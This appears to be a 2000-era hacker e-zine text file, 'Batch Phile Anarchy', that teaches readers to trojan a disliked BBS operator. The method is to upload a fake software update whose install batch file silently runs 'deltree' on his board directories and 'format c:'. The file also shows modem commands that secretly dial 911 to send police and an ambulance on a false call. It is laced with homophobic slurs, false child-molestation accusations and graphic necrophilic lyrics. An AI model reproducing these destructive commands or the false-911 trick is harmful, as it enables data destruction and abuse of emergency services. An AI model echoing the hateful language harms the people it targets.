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|| PURE ANARCHY!!!!!! /| SATAN |\ BOMBZ HARDCORE!! ||
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\\ ~~~ ~~~ HOGZA DA ENTROPY! ~~~~~~~~~~~~~~~ //
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\\ YEAH BOYEE@#! H/P/A/V/C IN DA MOTHAFUCKIN HAUSZ#@!@$ //
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\\ "Batch Phile Anarchy" //
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\\ by, Bothersome Basehead //
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| | BATCH | | | PHILE | | | ANARCHY |
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|_|.......| |_|.......| |_|.........|
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\_______\ \_______\ \_________\
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--- CHAPTER ONE !! -- Watz a batch phile, BIG daddy BASEhead??
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HEY kids, welll i'll tell ya.. a batch phile is like a bunch of commands
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that gets run at the same time, all at once. Yea i know ya see some on
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ur hard drive.. mabe AUTOEXEC.BAT or like I got one called PORN.BAT that
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brings up QPEG in my porn directory, but you prolly aren't smart enuf to
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write that one or u wouldn't be reading this HEHEHEHE,, well, i dont want
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to waste time in this chaptah so letz get rite 2 it... u can put a bunch
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of DoS comands in a phile with .BAT at the end and then u run it.. and it
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runz the comands.. pertty kool, rite?? yea well i guess the elite amung
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us have to spred the word, or every1 will be lame 4evah.. u can count on
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H.O.E. 2 help u dumb bitches out... so anywayz, u might make a phile
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called BASEHEAD.BAT that goez like this:
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LINE 1 = echo BASEHEAD FUCKED MY GIRLFREND
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LINE 2 = echo YEA SHE LIKED IT
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LINE 3 = echo BASEHEAD IS THE BIG DADDY
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LINE 4 - echo (C)opyrite 1999 sum lamer hehe
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kewl, well b-sides the phact that this phile tellz ya a few thingz maybe
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u didnt know before, it illustrates the point of the batch phile.. when u
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run it u will see those lines on the screen, just 2 remind u of who the
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king iz..
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--- CHAPTER TWO !@@ -- DEVIANCE w/ batch philez
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Kewl, so u want to fuk up someone's shit right???? WHO DOESNT?? if u
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dont maybe ur a little pussy anywayz so this phile isnt 4 u.. go away!!
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So lets say some sysop in ur area is a big asswhole, or maybe he's a fagg
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and molestz little boyz (like ur brother or sumthing), and u wanna get
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back at him.. well there r virusez but 2 many ppl got scannerz when u
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upload shit now so that's wack.. i tried 2 write a virus once, with
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Hexpress but i ended up mesing up my hard drive.
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I DONT RECOMEND DOING THIS
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WELL wutz another way 2 CRASH that faggot's gay BOARD?? U sneak in thru
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the back door (hey!!! HEHEHEH!) with a batch phile.. so it werks like
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this. U find out wut sorta gay programz this guy is runnin, like maybe u
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can do it with bbs softawre, or somethin, anything that haz a batch phile
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2 install or run.. so u see what version they r runnin, and u upload the
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same shit sayin its a NEW version, that way he instalz it rite away
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thinkin he haz FRESH warezz. HAHAHA WHAT AN IMBICIL becauz little does
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he konw u have put a little surprize in there.. u put in a new batch
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phile! WELL doesnt he look stupid now?? w ell i mean after he runz it..
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okay so u bring up like INSTALL.BAT and u add some lines 2 it.. First i
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gotta mention somethin VERY important to batch phile mayhemm and that iz
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the echo off command.. if u put @echo off at the start then all the
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comandz after that wont show up and so when fag boy is sittin there
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yankin it while ur shit reeks havok, he won't even know whatz goin on..
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this iz the especialy KEWL (and KREWL) part about what ur doing...
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yea ok so u put @echo off at the beginning if its not there alredy.. and
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well here r sum things u can do.. in it..
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deltree /y c:\bbs <- BYEBYE FAG BOARD
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deltree /y c:\telix <- This will nuke the philes in the
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com program dir if he uses telix
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.. this is especialy kewl becuz
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it may keep him from talking 2
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other child molesterz on other boards
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(4 awhile)
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echo y | format c: <- if ur really PISSSED OFF!!!
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as u can see the batch phile is a good weapin against ur enemies, once
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you can get them 2 run it..
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-- CHAPTER THREE ! - BONUS FUCK-UP from urs truly, and Ending comments
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Well since im feelin like santa claus a bit cuz of its chrismas coming
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up, Ho Ho ho here is an extra BONUS FUCK-UP 4 batch philes!! It involvez
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the modem this time (wich is an input/output device, stands 4
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MOdulater/DEModulator.. kewl!)..
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One thing in DoS that is kewl is that u can echo stuph 2 almost wherever
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u could want.. one place 2 do this is 2 the comm portz. WEll who knows
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which comport the modem is on, u can try a few, maybe 1 will work.. so 1
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thing to do, is make the modem dial 911 with tha speaker off.. thiz will
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mean that the modem will cawl 911 without Fag ass knowin it,, and thiz
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usually meanz that they will send an ambulence and cop car just in case
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there is an emergency, even if some1 hangz up (especilly in the suberbs
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where nothin fuckin EVER HAPENS).. so here's the HOW TO!!
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@echo off <- didn't u learn this yet? shame on u!!
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pay attention, jacka$$!! hehehe
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echo +++ATH0 > com1 <- this is 4 example.. u can try others
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it hangs up the modem if necesary
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echo +++ATM0DT911 > com1 <- turnz the speaker off and dials 911!!
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yeaaa!! hehe, sorry sir, i didnt mean to call 911!! i promisse!!
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but i am a fag child molester so please arrezt my a$$ anywayz.. HAHAHAh
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Well that about wrapz it up 4 this PiMPiN phile!! i hope u lamerz learned
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somethin... this is a WARNING 2 all u dumbasses out there 2 check batch
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philes before u run them.... who knowz whats lerking in there?? yea ok
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well next time u hear about a BOARD goin DOWN, u know where the info came
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from... RIGHT HERE!!!
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YEa so this is BASEHEAD sayin SAYANARA!!! PEACEE!!!!
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By the way-
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this phile originated on my Board..
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DiAgnOsed ParAnoId (YOU)WISH-FAG! [[HoE US HQ!!]]
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LATERZ!!
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"swollen with liquid / ready to burst
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a load of my lymph / will quench this dead body's thirst
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one month in the grave / twisted and half decayed
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she turned a putrid yellow / i pissed in her maggot filled asshole"
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-- CANNIBAL CORPSE, "I CUM BLOOD"
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[ (c) HOE EZINE! WWW.HOE.NU! A-BEWM-BEWM! #1015 -> BY BASEHEAD - 1/30/00 ]
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